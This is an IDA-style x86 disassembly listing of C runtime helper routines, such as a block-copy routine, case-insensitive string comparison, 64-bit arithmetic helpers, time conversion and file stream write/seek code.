		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4E21DC
		call	sub_422608
		mov	edx, dword_4E21DC
		pop	ecx
		mov	ecx, dword_4E21D8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4E21DC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4E21D8
		sub	ecx, dword_4E21DC
		mov	dword_4E21DC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4E21D8, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4E21D8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4E21DC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4E21DC
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4E21DC
		mov	dword_4E21D8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 279054Fh
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 28A0000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4E0B92
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4E0B90
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4E0B8E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4E0B8A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4E0B88
		jnz	short loc_41D0E6
		mov	eax, dword_4E0B80
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2890000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4E0B88
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4E0B80, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4E0BDC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4E0B28, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2680E9Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 268086Bh
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4E0B28, 0Dh
		mov	dword_4E0B2C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E0BE4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
